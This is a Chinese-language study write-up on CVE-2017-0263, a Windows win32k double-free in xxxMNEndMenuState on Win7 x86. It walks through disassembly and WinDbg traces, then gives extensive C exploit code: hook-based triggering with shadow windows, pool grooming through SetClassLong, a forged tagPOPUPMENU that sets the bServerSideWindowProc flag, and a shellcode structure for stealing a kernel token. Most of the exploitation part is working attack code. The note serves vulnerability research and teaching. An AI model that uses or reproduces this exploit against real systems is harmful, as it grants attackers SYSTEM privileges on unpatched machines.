CVE-2017-0263提權漏洞學習筆記
前言
1.漏洞描述
在win32k!xxxMNEndMenuState函數中,函數會調用MNFreePopup函數釋放tagPOPUPMENU對象,但是函數釋放對象以后,沒有清空指針。而在彈出窗口過程中,用戶可以劫持相應的處理函數來實現兩次調用xxxMNEndMenuState函數,因為雙重釋放導致BSOD的產生。通過內存布局,可以偽裝tagPOPUPMENU對象在釋放的內存空間中,通過解引用修改窗口對象的關鍵的標志位,可以通過SendMessage函數讓窗口在內核態執行指定的處理函數實現提權操作。
2.實驗環境
- 操作系統:Win7 x86 sp1 專業版
- 編譯器:Visual Studio 2017
- 調試器:IDA Pro, WinDbg
漏洞分析
1.成因分析
圖1是win32k!xxxMNEndMenuState函數與本漏洞有關的關鍵代碼,共有三個關鍵的地方。

圖1. xxxMNEndMenuState函數
全局變量gptiCurrent保存的是線程信息結構體tagTHREADINFO,該結構體偏移0x104處保存的是tagMENUSTATE結構體:
0: kd> dt win32k!tagTHREADINFO -r pMenuState +0x104 pMenuState : Ptr32 tagMENUSTATE
tagMENUSTATE結構體定義了菜單的狀態,該結構體偏移為0的地方,保存了彈出菜單結構體tagPOPUPMENU:
0: kd> dt win32k!tagMENUSTATE -r pGlobalPopupMenu +0x000 pGlobalPopupMenu : Ptr32 tagPOPUPMENU
第一處的代碼就是取出pGlobalPopupMenu,之后在第二處將其作為參數傳入MNFreePopup函數。tagPOPUPMENU結構體定義如下,該結構體存儲關聯的彈出菜單相關的各個內核對象的指針:
0: kd> dt win32k!tagPOPUPMENU +0x000 flags : Uint4B +0x004 spwndNotify : Ptr32 tagWND +0x008 spwndPopupMenu : Ptr32 tagWND +0x00c spwndNextPopup : Ptr32 tagWND +0x010 spwndPrevPopup : Ptr32 tagWND +0x014 spmenu : Ptr32 tagMENU +0x018 spmenuAlternate : Ptr32 tagMENU +0x01c spwndActivePopup : Ptr32 tagWND +0x020 ppopupmenuRoot : Ptr32 tagPOPUPMENU +0x024 ppmDelayedFree : Ptr32 tagPOPUPMENU +0x028 posSelectedItem : Uint4B +0x02c posDropped : Uint4B
圖2是MNFreePopup函數的反匯編結果,該函數的第二處代碼會將傳入的參數tagPopupMenu釋放,可是釋放之后,卻沒有把tagPopupMenu的指針置為空,如果再次進入該函數,就會對相同的內存進行釋放,就會導致BSOD的產生。

圖2 MNFreePopup函數反匯編
2.xxxTrackPopupMenuEx函數分析
漏洞的觸發需要調用TrackPopupMenuEx函數,該函數通過調用內核函數xxxTrackPopupMenuEx函數實現,xxxTrackPopupMenuEx實現了很多功能,具體可以看參考鏈接中Leeqwind師傅的分析,這里只講幾個關鍵的步驟。
首先,函數會調用xxxCreateWindowEx創建類名"#32768"窗口:
.text:BF93F432 xor ecx, ecx.text:BF93F434 push ecx ; int.text:BF93F435 push 601h ; int.text:BF93F43A push ecx ; int.text:BF93F43B movzx ebx, ax.text:BF93F43E mov eax, [ebp+P].text:BF93F441 push dword ptr [eax+24h] ; int.text:BF93F444 and edx, 40000000h.text:BF93F44A push ecx ; int.text:BF93F44B shr ebx, 0Fh.text:BF93F44E and ebx, 1.text:BF93F451 neg edx.text:BF93F453 sbb edx, edx.text:BF93F455 and edx, eax.text:BF93F457 push edx ; int.text:BF93F458 push 64h ; int.text:BF93F45A push 64h ; int.text:BF93F45C push [ebp+yTop] ; int.text:BF93F45F mov esi, 8000h.text:BF93F464 push [ebp+xLeft] ; int.text:BF93F467 push 80800000h ; int.text:BF93F46C push ecx ; int.text:BF93F46D push esi ; int.text:BF93F46E push esi ; Str1.text:BF93F46F push 181h ; int.text:BF93F474 call _xxxCreateWindowEx@60 // 創建窗口.text:BF93F479 mov edi, eax.text:BF93F47B mov [ebp+var_pWnd], edi.text:BF93F47E test edi, edi.text:BF93F480 jnz short loc_BF93F489
在xxxCreateWindowEx函數中,在對創建的窗口成員賦值之后,就會調用xxxSendMessage向窗口發送WM_NCCREATE消息:
.text:BF89C81F lea eax, [ebp+Dst].text:BF89C825 push eax ; Src.text:BF89C826 push esi ; UnicodeString.text:BF89C827 push WM_NCCREATE ; MbString.text:BF89C82C push ebx ; P.text:BF89C82D call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x).text:BF89C832 test eax, eax.text:BF89C834 jnz loc_BF89C8CA
調用完xxxCreateWindowEx函數后,xxxTrackPopupMenuEx函數會調用xxxSetWindowPos函數將菜窗口顯示到屏幕中:
.text:BF93F844 mov eax, [edi+4].text:BF93F847 shr eax, 8.text:BF93F84A mov ecx, eax.text:BF93F84C shl ecx, 4.text:BF93F84F not ecx.text:BF93F851 and ecx, 10h.text:BF93F854 or ecx, 241h.text:BF93F85A push ecx.text:BF93F85B mov ecx, [ebp+P].text:BF93F85E xor ebx, ebx.text:BF93F860 push ebx.text:BF93F861 shr ecx, 10h.text:BF93F864 push ebx.text:BF93F865 movsx ecx, cx.text:BF93F868 push ecx.text:BF93F869 movsx ecx, word ptr [ebp+P].text:BF93F86D push ecx.text:BF93F86E push ebx.text:BF93F86F test al, 1.text:BF93F871 pop eax.text:BF93F872 setnz al.text:BF93F875 dec eax.text:BF93F876 push eax.text:BF93F877 push [ebp+var_pWnd].text:BF93F87A call _xxxSetWindowPos@28
相關窗口位置和狀態完成改變之后,xxxSetWindowPos函數會調用xxxEndDeferWindowPosEx函數:
.text:BF89E55A mov ecx, [ebp+arg_18].text:BF89E55D and ecx, 4000h.text:BF89E563 push ecx ; int.text:BF89E564 push eax ; P.text:BF89E565 call _xxxEndDeferWindowPosEx@8
xxxEndDeferWindowPosEx函數會繼續調用xxxSendChangedMsgs函數:
.text:BF89E317 push edi.text:BF89E318 call _xxxSendChangedMsgs@4
xxxSendChagedMsgs函數則根據SWP_HIDEWINDOW狀態標志位來選擇調用xxxRemoveShadow函數刪除陰影窗口或調用xxxAddShadow函數來增加陰影窗口:
.text:BF889ACE test byte ptr [esi+18h], SWP_HIDEWINDOW.text:BF889AD2 jz short loc_BF889ADA.text:BF889AD4 push edi.text:BF889AD5 call _xxxRemoveShadow@4 // 刪除陰影窗口.text:BF889ADA.text:BF889ADA loc_BF889ADA: .text:BF889ADA test byte ptr [esi+18h], SWP_SHOWWINDOW.text:BF889ADE push edi.text:BF889ADF jz short loc_BF889AF2.text:BF889AE1 call _ShouldHaveShadow@4 ; ShouldHaveShadow(x).text:BF889AE6 test eax, eax.text:BF889AE8 jz short loc_BF889B24.text:BF889AEA push edi .text:BF889AEB call _xxxAddShadow@4 // 增加陰影窗口
陰影窗口通過以下的結構體中的next指針連接,第一個結構體的地址保存在了全局變量gpshadowFirst中。
struct SHADOWWINDOW{ HWND hWnd; // 擁有陰影窗口的窗口句柄 HWND pwndShadow; // 陰影窗口的句柄 SHADOWWINDOW *next; // 下一個SHADOWWINDOW結構體的地址};
在xxxAddShadow函數中,函數會首先申請0x0C大小的內存用來保存SHADOWWINDOW結構體:
.text:BF9445A3 push 'dssU' ; Tag.text:BF9445A8 push 0Ch ; NumberOfBytes.text:BF9445AA push PagedPoolSession ; PoolType.text:BF9445AC call ds:__imp__ExAllocatePoolWithTag@12 // 申請用來保存陰影窗口的結構體.text:BF9445B2 mov edi, eax // 申請到的地址賦給edi
接著就會創建陰影窗口,從參數可以看出,陰影窗口沒有自己的消息處理例程:
.text:BF944564 xor ebx, ebx.text:BF9445D6 push ebx ; int.text:BF9445D7 movzx eax, _gatomShadow.text:BF9445DE push 601h ; int.text:BF9445E3 push ebx ; int.text:BF9445E4 push _hModuleWin ; int.text:BF9445EA push ebx ; int.text:BF9445EB push ebx ; int.text:BF9445EC push ebx ; int.text:BF9445ED push ebx ; int.text:BF9445EE push ebx ; int.text:BF9445EF push ebx ; int.text:BF9445F0 push 80000000h ; int.text:BF9445F5 push ebx ; int.text:BF9445F6 push eax ; int.text:BF9445F7 push eax ; Str1.text:BF9445F8 push ecx ; int.text:BF9445F9 call _xxxCreateWindowEx@60 // 創建陰影窗口.text:BF9445FE mov esi, eax // 創建的窗口句柄賦給esi
在申請的內存將結構體的成員賦值,并將申請的結構體加入到全局變量gpshadowFirst所指的單向鏈表中,此時新增的陰影窗口就會是第一個。
.text:BF94466E mov eax, _gpshadowFirst ; 將第一個陰影窗口地址賦給eax.text:BF944673 mov [edi+8], eax ; 將窗口地址賦給Next.text:BF944676 mov eax, [ebp+arg_0] ; 將窗口pwnd賦給eax.text:BF944679 mov _gpshadowFirst, edi ; 將gpshadowFirst指向新申請的內存地址.text:BF94467F mov [edi], eax ; 將eax賦給hWnd.text:BF944685 mov [edi+4], esi ; 將創建的陰影窗口的句柄賦給pwndShadow
xxxRemoveShadow刪除陰影窗口的功能,就會是從gpshadowFirst全局變量中找到第一個符合要求的陰影窗口,銷毀陰影窗口,并將增加陰影窗口時候申請的用來保存信息的0x0C的內存釋放掉。
.text:BF88D31C ; __stdcall xxxRemoveShadow(x).text:BF88D31C _xxxRemoveShadow@4 proc near .text:BF88D31C arg_0 = dword ptr 8.text:BF88D31C mov edi, edi.text:BF88D31E push ebp.text:BF88D31F mov ebp, esp.text:BF88D321 xor eax, eax ; eax清0.text:BF88D323 mov edx, offset _gpshadowFirst.text:BF88D328 cmp _gpshadowFirst, eax ; 驗證是否有陰影窗口.text:BF88D32E jz short loc_BF88D35C.text:BF88D330 push esi.text:BF88D331.text:BF88D331 loc_BF88D331: .text:BF88D331 mov ecx, [edx] ; 將陰影窗口地址賦給ecx.text:BF88D333 mov esi, [ecx] ; 取出陰影窗口的pwnd.text:BF88D335 cmp esi, [ebp+arg_0] ; 判斷是否是目標pwnd.text:BF88D338 jz short loc_BF88D343 ; 是的話跳轉到刪除陰影窗口的代碼執行.text:BF88D33A lea edx, [ecx+8] ; 取出下一個陰影窗口的地址.text:BF88D33D cmp [edx], eax ; 判斷是否有下一個陰影窗口.text:BF88D33F jz short loc_BF88D35B ; 沒有則退出.text:BF88D341 jmp short loc_BF88D331 ; 將陰影窗口地址賦給ecx.text:BF88D343 ; ---------------------------------------------------------------------------.text:BF88D343.text:BF88D343 loc_BF88D343: ; .text:BF88D343 mov esi, [ecx+4] ; 取出pwndShadow賦給esi.text:BF88D346 push edi.text:BF88D347 mov edi, [ecx+8] ; 取出下一個陰影窗口.text:BF88D34A push eax ; Tag.text:BF88D34B push ecx ; P.text:BF88D34C mov [edx], edi ; 將陰影窗口從鏈表中去除.text:BF88D34E call ds:__imp__ExFreePoolWithTag@8 ; 釋放掉保存這塊陰影窗口信息的內存.text:BF88D354 push esi ; 傳入要刪除的陰影窗口的句柄,銷毀掉窗口.text:BF88D355 call _xxxDestroyWindow@4 .text:BF88D35A pop edi.text:BF88D35B.text:BF88D35B loc_BF88D35B: .text:BF88D35B pop esi.text:BF88D35C.text:BF88D35C loc_BF88D35C: .text:BF88D35C pop ebp.text:BF88D35D retn 4.text:BF88D35D _xxxRemoveShadow@4 endp
xxxSetWindowPos執行完成后,xxxTrackPopupMenuEx函數會調用xxxWindowEvent函數發送EVENT_SYSTEM_MENUPOPUPSTART通知事件:
.text:BF93F8C9 push ebx.text:BF93F8CA push ebx.text:BF93F8CB push 0FFFFFFFCh.text:BF93F8CD push [ebp+var_4].text:BF93F8D0 push EVENT_SYSTEM_MENUPOPUPSTART.text:BF93F8D2 call _xxxWindowEvent@20
總結一下,xxxTrackPopupMenuEx函數會做的三件事情:
① 調用xxxCreateWindowEx創建類名為"#32768"的窗口,在創建過程中,會調用xxxSendMessage發送WM_NCCREATE消息;
② 調用xxxSetWindowPos將窗口顯示到屏幕中,在此過程中會創建陰影窗口,陰影窗口沒有自己的處理例程,在用戶層可以對其完成設置;
③ 調用xxxWindowEvent函數發送EVENT_SYSTEM_MENUPOPUPSTART通知事件。
3.漏洞觸發
在xxxTrackPopupMenuEx函數執行過程中,完成窗口創建以后,會發送WM_NCCREATE消息和EVENT_SYSTEM_MENUPOPUPSTART通知事件,而用戶可以通過HOOK操作實現對這兩個操作的劫持,執行用戶想要的代碼,觸發上述存在的雙重釋放帶來的BSOD,此時對消息和事件的劫持的代碼如下:
BOOL POC_CVE_2017_0263(){ BOOL bRet = TRUE; HMODULE handle = NULL; handle = GetModuleHandle(NULL); if (!handle) { ShowError("GetModuleHandle", GetLastError()); bRet = FALSE; goto exit; } HMENU hpopupMenu[2] = { 0 }; // 創建兩個彈出菜單窗口 hpopupMenu[0] = CreatePopupMenu(); hpopupMenu[1] = CreatePopupMenu(); if (!hpopupMenu[0] || !hpopupMenu[1]) { ShowError("CreatePopupMenu", GetLastError()); bRet = FALSE; goto exit; } LPCSTR szMenuItem = "item"; MENUINFO mi = { 0 }; mi.cbSize = sizeof(mi); mi.fMask = MIM_STYLE; mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP; // 設置創建的菜單的屬性,讓它們變成非模態對話框 if (!SetMenuInfo(hpopupMenu[0], &mi) || !SetMenuInfo(hpopupMenu[1], &mi)) { ShowError("CreatePopupMenu", GetLastError()); bRet = FALSE; goto exit; } // 為菜單添加菜單項,第二個窗口為第一個窗口子菜單 if (!AppendMenu(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem) || !AppendMenu(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem)) { ShowError("AppendMenuA", GetLastError()); bRet = FALSE; goto exit; } HWND hWindowMain = NULL; WNDCLASSEX wc = { 0 }; char *szClassName = "WNDCLASSMAIN"; wc.cbSize = sizeof(wc); wc.lpfnWndProc = DefWindowProc; wc.hInstance = handle; wc.lpszClassName = szClassName; if (!RegisterClassEx(&wc)) { ShowError("RegisterClassEx", GetLastError()); bRet = FALSE; goto exit; } // 創建窗口為彈出菜單的擁有者 hWindowMain = CreateWindowEx(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST, szClassName, NULL, WS_VISIBLE, 0, 0, 1, 1, NULL, NULL, handle, NULL); if (!hWindowMain) { ShowError("CreateWindowEx", GetLastError()); bRet = FALSE; goto exit; } // 設置消息HOOK if (!SetWindowsHookEx(WH_CALLWNDPROC, (HOOKPROC)WinHookProc_CVE_2017_0263, handle, GetCurrentThreadId())) { ShowError("SetWindowHookEx", GetLastError()); bRet = FALSE; goto exit; } // 設置EVENT_SYSTEM_MENUPOPUPSTART事件處理函數 SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART, handle, WinEventProc_CVE_2017_0263, GetCurrentProcessId(), GetCurrentThreadId(), 0); // 觸發漏洞 if (!TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL)) { ShowError("TrackPopupMenuEx", GetLastError()); bRet = FALSE; goto exit; } MSG msg = { 0 }; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } exit: return bRet;}
在執行的代碼中就要實現兩次調用xxxMNEndMenuState,該函數的調用可以通過發送MN_ENDMENU消息,以及NtUserMNDraLeave系統調用來實現。而在圖1的第三處代碼的最后,函數會將tagMENUSTATE的pmnsPrev賦值給tagTHREADINFO的pMenuState,pmnsPrev通常為0,一旦完成了這個設置,即使再次進入xxxMNEndMenuState,也會在第一處的代碼的驗證中跳過第二處代碼,即跳過MNFreePopup函數的調用。
0: kd> dt win32k!tagMENUSTATE +0x020 pmnsPrev : Ptr32 tagMENUSTATE
因此,需要在最后的賦值之前產生第二個函數的調用,而在賦值之前,函數會對tagMENUSTATE的uButtonDownHitArea調用UnlockMFMWFPWindow函數。
0: kd> dt win32k!tagMENUSTATE +0x02c uButtonDownHitArea : Uint4B
uButtonDownHitArea成員保存著當前鼠標按下的坐標區域所屬的窗口對象地址,UnlockMFMWFPWindow函數會對窗口對象進行釋放,當計數為0的時候會銷毀窗口,此時會銷毀與該窗口關聯的陰影窗口。此外,通過發送WM_ENDMENU消息銷毀觸發漏洞函數的時候,會刪除兩個陰影窗口。
綜上,漏洞觸發的思路如下,首先在消息處理例程中,會創建三個陰影窗口,且為第三個陰影窗口設置消息處理例程。
LRESULT CALLBACK WinHookProc_CVE_2017_0263(int code, WPARAM wParam, LPARAM lParam){ tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam; if (cwp->message == WM_NCCREATE) { CHAR szTemp[0x20] = { 0 }; if (!GetClassName(cwp->hwnd, szTemp, 0x14)) { ShowError("GetClassName", GetLastError()); } if (strcmp(szTemp, "#32768") == 0) { g_hwndMenuHit_2017_0263 = cwp->hwnd; } else if (strcmp(szTemp, "SysShadow") == 0 && g_hwndMenuHit_2017_0263) { g_dwShadowCount_2017_0263++; if (g_dwShadowCount_2017_0263 == 3) { // 為第三個陰影窗口設置處理函數 if (!SetWindowLong(cwp->hwnd, GWL_WNDPROC, (ULONG)ShowdowWinProc_CVE_2017_0263)) { ShowError("SetWindowLong", GetLastError()); } } else { // 設置窗口先隱藏在顯示,這樣會創建陰影窗口 if (!SetWindowPos(g_hwndMenuHit_2017_0263, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW) || !SetWindowPos(g_hwndMenuHit_2017_0263, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW)) { ShowError("SetWindowPos", GetLastError()); } } } } return CallNextHookEx(0, code, wParam, lParam);}
在事件處理例程中,第一次進入的時候會發送WM_LBUTTONDOW消息,這樣uButtonDowHitArea成員域就會存傳當前鼠標按下的區域所屬的窗口對象,系統在處理WM_LBUTTONDOWN消息的時候,會再次進入到事件處理例程中,此時就通過發送MN_ENDMENU消息來調用xxxMNEndMenuState函數。
VOID CALLBACK WinEventProc_CVE_2017_0263(HWINEVENTHOOK hWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime){ if (++g_dwCount_2017_0263 >= 2) { // 發送銷毀菜單消息 SendMessage(hwnd, MN_ENDMENU, 0, 0); } else { // 發生鼠標左鍵按下消息 SendMessage(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2) }}
在處理MN_ENDMUEN消息過程中,會刪除兩個陰影窗口,當xxxMNEndMenuState函數執行到圖1中第三處對uButtonDownHitArea調用UnlockMFMWFPWindow函數的時候,又會刪除第三個陰影窗口,就會觸發為陰影窗口設置的處理函數。在處理函數中,通過NtUserMNDraLeave函數來再次調用xxxMNEndMenuState函數。
LRESULT WINAPI ShowdowWinProc_CVE_2017_0263(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam){ // 銷毀陰影窗口的時候再次觸發漏洞 if (msg == WM_NCDESTROY) { CallNtUserMNDraLeave(); } return DefWindowProc(hwnd, msg, wParam, lParam);} void __declspec(naked) CallNtUserMNDraLeave(){ __asm { mov eax, 0x11EC // NtUserMNDraLeave調用號 int 0x2E ret }}
在xxxMNEndMenuState函數中下斷點,編譯運行POC,可以看到第一次是由發送WM_ENDMENU消息來調用函數:
3: kd> ba e1 win32k!xxxMNEndMenuState3: kd> gBreakpoint 0 hitwin32k!xxxMNEndMenuState:83745fd2 8bff mov edi,edi0: kd> kb # ChildEBP RetAddr Args to Child 00 91849b0c 8373f03f 00000001 fea13cb0 000001f3 win32k!xxxMNEndMenuState01 91849b54 836b94f3 fea10cd0 000001f3 00000000 win32k!xxxMenuWindowProc+0xcc102 91849b94 83679709 fea13cb0 000001f3 00000000 win32k!xxxSendMessageTimeout+0x1ac03 91849bbc 83686330 fea13cb0 000001f3 00000000 win32k!xxxWrapSendMessage+0x1c04 91849bd8 836bb4cd fea13cb0 000001f3 00000000 win32k!NtUserfnNCDESTROY+0x2705 91849c10 83e7d1ea 0002017c 000001f3 00000000 win32k!NtUserMessageCall+0xc9
第二次就是通過NtUserMNDraLeave來調用的:
0: kd> gBreakpoint 0 hitwin32k!xxxMNEndMenuState:83745fd2 8bff mov edi,edi0: kd> kb # ChildEBP RetAddr Args to Child 00 977e1c08 8377f0f8 00000001 977e1c34 8376e834 win32k!xxxMNEndMenuState01 977e1c14 8376e834 8381f580 0012fb78 7420a970 win32k!xxxUnlockMenuState+0x2002 977e1c24 8375c779 7420a970 83e7d1ea 0012fb78 win32k!xxxMNDragLeave+0x4503 977e1c2c 83e7d1ea 0012fb78 004014a7 badb0d00 win32k!NtUserMNDragLeave+0xd
繼續向下運行,就會因為釋放已經被釋放的內存產生BSOD錯誤。


三
漏洞利用
想要不產生BSOD錯誤,就需要在第二處釋放之前,構造數據填入釋放的內存。這里通過SetClassLong函數實現,該函數定義如下:
DWORD SetClassLong(HWND hWnd, int nIndex, LONG dwNewLong);
當第二個參數為GCL_MENUNAME的時候,函數會將第三個參數指定的數據寫入到第一個參數指定的窗口的成員中。要找到這些數據,首先要獲取第一個參數的窗口的pcls:
1: kd> dt win32k!tagWND +0x064 pcls : Ptr32 tagCLS
pcls對應的是tagCLS結構體,該結構體的lpszMenuName保存的地址就保存了調用SetClassLong時指定的第三個參數中的數據。
2: kd> dt win32k!tagCLS +0x050 lpszMenuName : Ptr32 Uint2B
因此,在觸發漏洞之前需要先創建一些窗口:
DWORD i = 0; // 創建用于后面填充釋放的內存 for (i = 0; i < 0x100; i++) { WNDCLASSEX Class = { 0 }; CHAR szTemp[20] = { 0 }; HWND hwnd = NULL; wsprintf(szTemp, "%x-%d", rand(), i); Class.cbSize = sizeof(WNDCLASSEXA); Class.lpfnWndProc = DefWindowProc; Class.cbWndExtra = 0; Class.hInstance = handle; Class.lpszMenuName = NULL; Class.lpszClassName = szTemp; if (!RegisterClassEx(&Class)) { ShowError("RegisterClassEx", GetLastError()); continue; } hwnd = CreateWindowEx(0, szTemp, NULL, WS_OVERLAPPED, 0, 0, 0, 0, NULL, NULL, handle, NULL); if (!hwnd) { ShowError("CreateWindowEx", GetLastError()); continue; } g_hWindowList_2017_0263[g_dwWindowCount_2017_0263++] = hwnd; }
這樣,當第二次調用xxxMNEndMenuState函數的時候,就可以通過偽造的數據來防止BSOD的產生。
TAGPOPUPMENU tagPopupMenu = { 0 }; tagPopupMenu.flags = 0x00098208; tagPopupMenu.spwndNotify = (DWORD)g_pvHeadFake_2017_0263; tagPopupMenu.spwndPopupMenu = (DWORD)g_pvHeadFake_2017_0263; tagPopupMenu.spwndNextPopup = (DWORD)g_pvHeadFake_2017_0263; tagPopupMenu.spwndPrevPopup = (DWORD)g_pvAddrFlags_2017_0263 - 4; tagPopupMenu.spmenu = (DWORD)g_pvHeadFake_2017_0263; tagPopupMenu.spmenuAlternate = (DWORD)g_pvHeadFake_2017_0263; tagPopupMenu.spwndActivePopup = (DWORD)g_pvHeadFake_2017_0263; tagPopupMenu.ppopupmenuRoot = 0xFFFFFFFF; tagPopupMenu.ppmDelayedFree = (DWORD)g_pvHeadFake_2017_0263; tagPopupMenu.posSelectedItem = 0xFFFFFFFF; tagPopupMenu.psDropped = (DWORD)g_pvHeadFake_2017_0263; tagPopupMenu.dwReserve = 0; // 其中某一塊會占用上一次釋放的內存塊 for (DWORD i = 0; i < g_dwWindowCount_2017_0263; i++) { SetClassLongW(g_hWindowList_2017_0263[i], GCL_MENUNAME, (DWORD)&tagPopupMenu); } // 再次釋放內存,導致bServerSideWindowProc標志位置位 CallNtUserMNDraLeave();
但是,從圖2可以看到,在釋放tagPOPUPMENU之前,會對其成員進行解引用,所以偽裝的數據所指向的地址應當符合窗口對象的要求,此時就通過創建一個新得窗口,并為其設置擴展區域,偽造的tagPOPUPMENU中的成員指向的就是擴展區域,通過設置擴展區域中的數據來讓偽造的tagPOPUPMENU中的成員所指的窗口有效。
WNDCLASSEX wc = { 0 }; char *szClassName = "WNDCLASSHUNT"; wc.cbSize = sizeof(wc); wc.lpszClassName = szClassName; wc.cbWndExtra = 0x200; wc.lpfnWndProc = DefWindowProc; wc.hInstance = handle; if (!RegisterClassEx(&wc)) { ShowError("RegisterClassEx", GetLastError()); bRet = FALSE; goto exit; } g_hWindowHunt_2017_0263 = CreateWindowEx(WS_EX_LEFT, szClassName, NULL, WS_OVERLAPPED, 0, 0, 1, 1, NULL, NULL, handle, NULL); if (!g_hWindowHunt_2017_0263) { ShowError("CreateWindowEx", GetLastError()); bRet = FALSE; goto exit; } PTHRDESKHEAD head = (PTHRDESKHEAD)HMValidateHandle(g_hWindowHunt_2017_0263, TYPE_WINDOW); // 預留4字節 PBYTE pbExtra = (PBYTE)head->pSelf + 0xB0 + 4; // 用來賦值偽造的tagPOPUPMENU g_pvHeadFake_2017_0263 = pbExtra + 0x44; // 將剩余內存空間的內容保存為擴展空間的首地址 for (i = 1; i <= 0x80; i++) { SetWindowLongW(g_hWindowHunt_2017_0263, sizeof(DWORD) * i, (DWORD)pbExtra); } PVOID pti = head->h.pti; // 偽裝tagPOPUPMENU中的窗口的成員 SetWindowLongW(g_hWindowHunt_2017_0263, 0x28, 0); SetWindowLongW(g_hWindowHunt_2017_0263, 0x50, (LONG)pti); // pti SetWindowLongW(g_hWindowHunt_2017_0263, 0x6C, 0); SetWindowLongW(g_hWindowHunt_2017_0263, 0x1F8, 0xC033C033); SetWindowLongW(g_hWindowHunt_2017_0263, 0x1FC, 0xFFFFFFFF);
想要完成提權操作,需要ShellCode在內核模式下執行,這里需要用到bServerSideWindowProc標志位:
0: kd> dt win32k!tagWND +0x000 head : _THRDESKHEAD +0x014 state : Uint4B +0x014 bDialogWindow : Pos 16, 1 Bit +0x014 bHasCreatestructName : Pos 17, 1 Bit +0x014 bServerSideWindowProc : Pos 18, 1 Bit +0x014 bDestroyed : Pos 31, 1 Bit +0x018 state2 : Uint4B
當調用SendMessage向窗口發送消息的時候,內核會通過xxxSendMessageTimeout來實現功能,而在該函數中,會判斷bServerSideWindowProc是否置位,如果置為則會調用指定的消息處理例程。
.text:BF8B94C0 test byte ptr [esi+16h], 4 ; tagWND->bServerSideWindowProc.text:BF8B94C8 jz short loc_BF8B9505 .text:BF8B94E8 push [ebp+Src].text:BF8B94EB push dword ptr [ebp+UnicodeString].text:BF8B94EE push ebx.text:BF8B94EF push esi.text:BF8B94F0 call dword ptr [esi+60h] ; call tagWND->lpfnWndProc .text:BF8B9505 push 0 ; int.text:BF8B9507 push 0 ; int.text:BF8B9509 push [ebp+Src] ; Src.text:BF8B950C push dword ptr [ebp+UnicodeString] ; UnicodeString.text:BF8B950F push ebx ; MbString.text:BF8B9510 push esi ; P.text:BF8B9511 call _xxxSendMessageToClient@28
所以,在偽造的tagPOPUPMENU對象的spwndPrevPopup成員賦值為bServerSideWindowProc標志位偏移-4的地址,這樣在圖2的第一處的代碼中成員進行解引用的時候,會將偏移為4的clockObj減一,這樣就會將bServerSideWindowProc置位。
// 獲取關鍵標志位的地址g_pvAddrFlags_2017_0263 = (PVOID)((DWORD)head->pSelf + 0x16); // 指定窗口的消息處理例程SetWindowLongW(g_hWindowHunt_2017_0263, GWL_WNDPROC, (DWORD)pvShellCode->pfnWinProc);
因此,第二次釋放內存之后,就會將bServerSideWindowProc置位,這樣對窗口發送消息后,就會在內核模式下執行ShellCode實現提權。
// 再次釋放內存,導致bServerSideWindowProc標志位置位CallNtUserMNDraLeave(); // 發送消息執行ShellCodeDWORD dwRet = SendMessageW(g_hWindowHunt_2017_0263, 0x9F9F, g_dwPopupMenuRoot_2017_0263, 0);
但這里有個問題,第二次釋放的偽造的tagPOPUOMENU內存在線程退出的時候,程序會對它進行釋放,此時因為漏洞的第二次釋放的時候已經釋放過這塊內存了,就導致線程退出時候的釋放是一塊已經被釋放的內存,就會造成BSOD的產生:

因此,在執行ShellCode的時候,應當把tagCLS的lpszMenuName成員清空。此時的ShellCode是以結構體的形式定義的,定義如下,其中成員pfnWinProc保存了要執行的ShellCode,tagCLS保存了上面創建的大量窗口的tagCLS:
typedef struct _SHELLCODE { DWORD reserved; // 0x0 DWORD pid; // 0x4 DWORD off_CLS_lpszMenuName; // 0x8 DWORD off_THREADINFO_ppi; // 0xC DWORD off_EPROCESS_ActiveLink; // 0x10 DWORD off_EPROCESS_Token; // 0x14 PVOID tagCLS[0x100]; // 0x18 BYTE pfnWinProc[0xBE8]; // 0x418}SHELLCODE, *PSHELLCODE;
此時通過以下代碼就可以指定向窗口發送消息時候,在內核模式下執行ShellCode,同時在ShellCode的上方保存了要用到的數據。
PSHELLCODE pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, PAGE_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!pvShellCode) { ShowError("VirtualAlloc", GetLastError()); bRet = FALSE; goto exit; } ZeroMemory(pvShellCode, PAGE_SIZE); pvShellCode->pid = GetCurrentProcessId(); pvShellCode->off_CLS_lpszMenuName = 0x50; pvShellCode->off_THREADINFO_ppi = 0x0B8; pvShellCode->off_EPROCESS_ActiveLink = 0x0B8; pvShellCode->off_EPROCESS_Token = 0x0F8; CopyMemory(pvShellCode->pfnWinProc, ShellCode_CVE_2017_0263, 0xBE0); lHMValidateHandle HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle(); if (!HMValidateHandle) { bRet = FALSE; goto exit; } // 保存tagCLS的地址 for (i = 0; i < g_dwWindowCount_2017_0263; i++) { pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)HMValidateHandle(g_hWindowList_2017_0263[i], TYPE_WINDOW) + 0x64); } DWORD dwOldProtect = 0; if (!VirtualProtect(pvShellCode, PAGE_SIZE, PAGE_EXECUTE_READ, &dwOldProtect)) { ShowError("VirtualProtect", GetLastError()); bRet = FALSE; goto exit; } // 指定窗口的消息處理例程 SetWindowLongW(g_hWindowHunt_2017_0263, GWL_WNDPROC, (DWORD)pvShellCode->pfnWinProc);
